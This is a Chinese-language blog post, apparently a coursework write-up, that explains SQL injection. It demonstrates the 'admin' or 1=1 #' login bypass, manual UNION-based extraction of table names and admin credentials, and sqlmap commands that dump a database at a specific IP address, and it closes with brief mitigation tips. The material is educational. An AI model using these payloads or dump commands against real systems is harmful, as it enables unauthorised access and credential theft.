sql注入基础知识
信息安全概论课堂作业
SQL注入之万能密码漏洞
第一道题是牵扯到了万能密码漏洞
用户名先输入个’

返回了sql报错语句,猜测存在sql注入漏洞
使用万能密码测试
登陆成功

原理
假设登录框处的判断代码如下:
1 |
SELECT * FROM admin where name='".$_POST['name']."'and password='".$_POST['password']"'; |
在账号框中输入admin'or 1=1 #,密码随便输,sql语句就变成了:
1 |
SELECT * FROM admin where name='admin' or 1=1 #'and password='任意字符'; |
符号’将语句闭合
#号将admin' or 1=1后面的语句注释
剩下有效的sql代码变成了
1 |
SELECT * FROM admin where name='admin' or 1=1; |
这段代码意思就是 ‘admin’ or 1=1 (真 or 真)是一个恒为真的判断
服务器收到了返回真的验证,就绕过了登录
防止方法
1.字符转义
2.字符替换
3.百度如何预防SQL注入
SQL注入之字符型注入
利用手动注入
打开网站看到网址有个id参数

判断注入类型
输入id=1 and 1=1# 页面正常
输入id=1 and 1=2# 页面出现异常
猜测为数字注入
判断字段数
输入id=1 order by 2# 页面正常
输入id=1 order by 3# 页出出现异常
得知有两个字段
判断字段回显位置
输入
1 |
id=1 and 1=2 union select 1,2# |
查看字段位置
查看数据库名
字
输入
1 |
id=6666 union select 1,database()# |
出现数据库名字:maoshe

查看表名
输入
1 |
id=id=6666 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# |
出现了很多表名

查看字段名
我们需要的是admin表
输入
1 |
id=6666 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'# |
看到了字段名id、username、password

查看字段里的数据
输入
1 |
id=6666 union select 1,group_concat(id,":",username,":",password) from admin# |
看到了管理员用户名和密码

利用sqlmap工具注入
检查注入点:
1 |
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --dbs |


爆数据库的信息:
1 |
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --dbs |

爆当前数据库信息:
1 |
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --current-db |

指定库名表名列出所有字段
1 |
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' -D maoshe -T admin --column |

指定库名表名字段dump出指定字段
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' -D maoshe -T admin -C username password --dump

内容来自于
http://reb0rn.design/2019/10/13/信息安全概论课堂作业/
sql注入基础知识的更多相关文章
- Sqli-labs之sql注入基础知识
(1)注入的分类 基于从服务器接收到的响应 ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL盲注 •基于布尔SQL盲注 •基于时间的SQL盲注 •基于报错的SQL盲注 基于如何处理输 ...
- SQL server基础知识(表操作、数据约束、多表链接查询)
SQL server基础知识 一.基础知识 (1).存储结构:数据库->表->数据 (2).管理数据库 增加:create database 数据库名称 删除:drop database ...
- Sql Server 基础知识
Sql Server 基础知识: http://blog.csdn.net/t6786780/article/details/4525652 Sql Server 语句大全: http://www.c ...
- SQL数据库基础知识-巩固篇<一>
SQL数据库基础知识-巩固篇<一>... =============== 首先展示两款我个人很喜欢的数据库-专用于平时个人SQL技术的练习<特点:体积小,好安装和好卸载,功能完全够用 ...
- Sql注入基础原理介绍
说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...
- 通过sqli-labs学习sql注入——基础挑战之less1-3
首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!! url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加 ...
- 通过sqli-labs学习sql注入——基础挑战之less1
环境准备: Phpstudy (PHP+Apache+Mysql) Sql-lab 首先了解下基础知识: URL编码: 因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行UR ...
- SQL 注入基础
SQL注入 SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为. 本质:把用户输入的数据当作代码执行.任何和数据库产生交互的地方便有可能存在注入. SQL ...
- 【SQL】- 基础知识梳理(二) - SQL简介
一.引言 在梳理这些知识之前,说实话,如果有人问我SQL是什么?我可能会回答就是“INSERT,DELETE,UPDATE,SELECT”语句呗,还能是啥. 二.SQL概念 SQL是什么? SQL是S ...
随机推荐
- npm 基础命令
npm是一个node包管理和分发工具,已经成为了非官方的发布node模块(包)的标准.有了npm,可以很快的找到特定服务要使用的包,进行下载.安装以及管理已经安装的包.npm 从5.2版开始,增加了 ...
- Luogu1287 | 盒子与球 (排列组合)
贴一个和其他题解不一样的做法 QWQ 题意:让我们求出 N 个球放入 R 个盒子且每个盒子都必须放球方案数. 首先,对于每一个球,可以将其放入的盒子数量共有 R 个,所以我们可以知道如果无需满足每个盒 ...
- [CQOI2007] 余数求和 - 整除分块
\(\sum_{i=1}^n\;k\;mod\;i\) Solution \(\sum_{i=1}^n\;k\;mod\;i\\=\sum_{i=1}^n(k-i\lfloor{\frac{k}{i} ...
- phpstorm格式化数组
如果我们想要的这样的数组格式的话,可以设置 <?php $arr = array["a" => 0, "b" => 1, "c&qu ...
- C++——指针2-指向数组的指针和指针数组
7.4 指向数组元素的指针 声明与赋值 例:int a[10], *pa; pa=&a[0]; 或 pa=a[p1] ; 通过指针引用数组元素,经过上述声明及赋值后: *pa就是a[0],*( ...
- 从零DIY机械键盘/主控方案
自从有了第一套机械键盘,先后修改了接口方案,安装了LED灯等,但是始终无法满足自己的DIY欲望. 于是想到最简单的方法就是用现成的主控,而主控来源于废弃的键盘,如下图: 这种主控也是矩阵方式,只需要测 ...
- HTML页面学习
HTML 文档结构 <!DOCTYPE html> 文档声明 <html lang="en"> 语言 <head> 网站配置信息 <met ...
- python 处理protobuf协议
背景:需要用django基于python3模拟一个http接口,请求是post方式,body是protobuf string,返回也是protobuf string 设计:django获取pb str ...
- 手机内存卡RAW无法格式化的解决办法
突然出现这个问题,这是麻烦: 网上找了各种办法:什么软件修复,disk等修复,创建新磁盘,新扇到,win自动修复啊:开始----运行框中输入 :convert X: /fs:FAT(X为电脑 ...
- eclipse下载更新可用的SDK 2018-11-12
懒人方法: mirrors.neusoft.edu.cn:80 操作步骤: 1. Android SDK Manager----Tools----Options-----Http Proxy Serv ...